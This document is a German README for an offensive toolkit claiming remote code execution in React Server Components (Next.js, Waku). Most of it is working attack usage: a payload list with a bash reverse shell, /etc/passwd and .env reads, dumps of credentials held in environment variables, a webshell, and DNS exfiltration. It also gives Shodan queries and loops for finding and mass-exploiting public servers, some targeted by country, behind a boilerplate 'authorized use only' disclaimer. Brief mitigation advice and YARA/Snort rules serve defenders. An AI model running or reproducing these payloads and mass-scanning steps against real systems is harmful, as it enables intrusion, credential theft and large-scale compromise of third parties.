
Fortschrittliches RCE-Ausnutzungstoolkit für Schwachstellen in React Server Components. Bietet mehrere vorgefertigte Payloads, Shodan-Integration zur Zielermittlung und Massenscans für autorisierte Penetrationstests.
Fortschrittliches Exploitation-Toolkit für Remote-Code-Ausführung-Schwachstellen in React Server Components
Nur für autorisierte Penetrationstests und Sicherheitsforschung
Funktionen • Installation • Nutzung • Shodan-Integration • Beispiele • Haftungsausschluss
Dieses Toolkit nutzt eine kritische Remote Code Execution (RCE)-Schwachstelle in React Server Components (RSC)-Implementierungen aus, die insbesondere Folgendes angreift:
Die Schwachstelle nutzt Prototype Pollution und unsicheres Deserialisieren im Datenhandhabungsmechanismus von RSC, um eine beliebige Codeausführung auf dem Server zu erreichen.
React Server Components verwenden ein benutzerdefiniertes Serialisierungsformat, um Daten zwischen Client und Server zu übertragen. Die Schwachstelle besteht darin, wie diese Frameworks speziell präparierte Payloads deserialisieren und verarbeiten.
Angriffskette:
$X:constructor:constructor zum Zugriff auf den Function-Konstruktor_prefix-FeldAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
↓
Prototype Chain Access
↓
Function Constructor
↓
⚠️ RCE ACHIEVED ⚠️
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
*Entweder --payload oder --custom ist erforderlich
Alle Payloads anzeigen:
node rsc-rce-exploit.js --list
Ausgabe:
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Beliebigen JavaScript-Code ausführen:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"
# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"
# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"
# Geographically targeted (France)
http.component:"Next.js" country:FR
# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku framework
http.html:"waku" http.html:"RSC"
# Waku RSC endpoints
http.path:"/RSC/"
Verwenden Sie das beiliegende Automatisierungsskript:
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. Test each target
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Testing http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
Das mass-exploit.js-Tool ermöglicht das Testen mehrerer Ziele:
# From file
node mass-exploit.js --file targets.txt --payload console --threads 10
# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json
Beispiel für automatisierte Sicherheitstests:
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
Erwartete Ausgabe:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - Enhanced Version ║
║ React Server Components Code Execution ║
╚═══════════════════════════════════════════════════════════╝
[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
Ergebnis:
process.env-Variablen aus# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# Read sensitive files
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
Framework aktualisieren
npm install next@latest
# or
npm install waku@latest
Eingaben validieren
// Validate all RSC payloads
function validateRSCPayload(payload) {
// Implement strict validation
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
Content Security Policy
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
RSC in Produktion deaktivieren (falls nicht benötigt)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-action-HeadersYARA-Regel:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Snort-Regel:
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| Versionsbereich | Status | Anmerkungen |
|---|---|---|
| < 0.18.0 | ⚠️ ANFÄLLIG | Kritischer RCE |
| >= 0.18.0 | ✅ Gepatcht | Update empfohlen |
Beiträge sind willkommen! Bitte befolgen Sie diese Richtlinien:
git checkout -b feature/amazing-feature)git commit -m 'Füge großartige Funktion hinzu')git push origin feature/amazing-feature)⚠️ LEGAL DISCLAIMER ⚠️
This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.
By using this software, you agree to:
1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions
The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind
UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.
Violators will be prosecuted to the fullest extent of the law under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction
USE AT YOUR OWN RISK.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
MIT License
Copyright (c) 2024 RSC RCE Exploit Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
⭐ Wenn Ihnen dieses Tool bei Ihrer Sicherheitsforschung geholfen hat, geben Sie ihm bitte einen Stern! ⭐
Mit ❤️ gemacht von Sicherheitsforschern für Sicherheitsforscher
| Payload | Beschreibung | Anwendungsfall |
|---|
console | Basis-PoC (console.log) | Schwachstelle verifizieren |
reverseShell | Bash-Reverse-Shell | Erster Zugriff |
readFile | /etc/passwd lesen | Dateisystemzugriff |
envDump | Umgebungsvariablen ausgeben | Credential-Extraktion |
execCommand | Systembefehle ausführen | Beliebige Befehlsausführung |
webshell | Express-Webshell bereitstellen | Dauerhafter Zugriff |
exfilPackage | package.json exfiltrieren | Abhängigkeitsanalyse |
dnsExfil | DNS-Exfiltration (OOB) | Blind-Exploitation |
| Option | Beschreibung | Erforderlich |
|---|
--target <url> | Ziel-URL | ✅ |
--framework <name> | Framework: next oder waku | ❌ (Standard: next) |
--payload <name> | Payload-Name (siehe unten) | ✅* |
--custom <code> | Benutzerdefinierter JavaScript-Code | ✅* |
--lhost <ip> | Ihre IP (für Reverse-Shell) | ❌ |
--lport <port> | Ihr Port (für Reverse-Shell) | ❌ |
--command <cmd> | Auszuführender Befehl | ❌ |
--endpoint <path> | Benutzerdefinierter RSC-Endpunkt (Waku) | ❌ |
--action-id <id> | Benutzerdefinierte next-action-ID | ❌ |
--list | Verfügbare Payloads auflisten | ❌ |
--verbose | Ausführliche Ausgabe | ❌ |
--help | Hilfe anzeigen | ❌ |
| Versionsbereich | Status | Anmerkungen |
|---|
| < 13.4.0 | ✅ Nicht betroffen | RSC nicht standardmäßig aktiviert |
| 13.4.0 – 13.4.19 | ⚠️ ANFÄLLIG | Kritischer RCE |
| 13.5.0 – 14.0.4 | ⚠️ ANFÄLLIG | Kritischer RCE |
| 14.1.0 | ⚠️ ANFÄLLIG | Teilweise Absicherung |
| >= 14.1.1 | ✅ Gepatcht | Update empfohlen |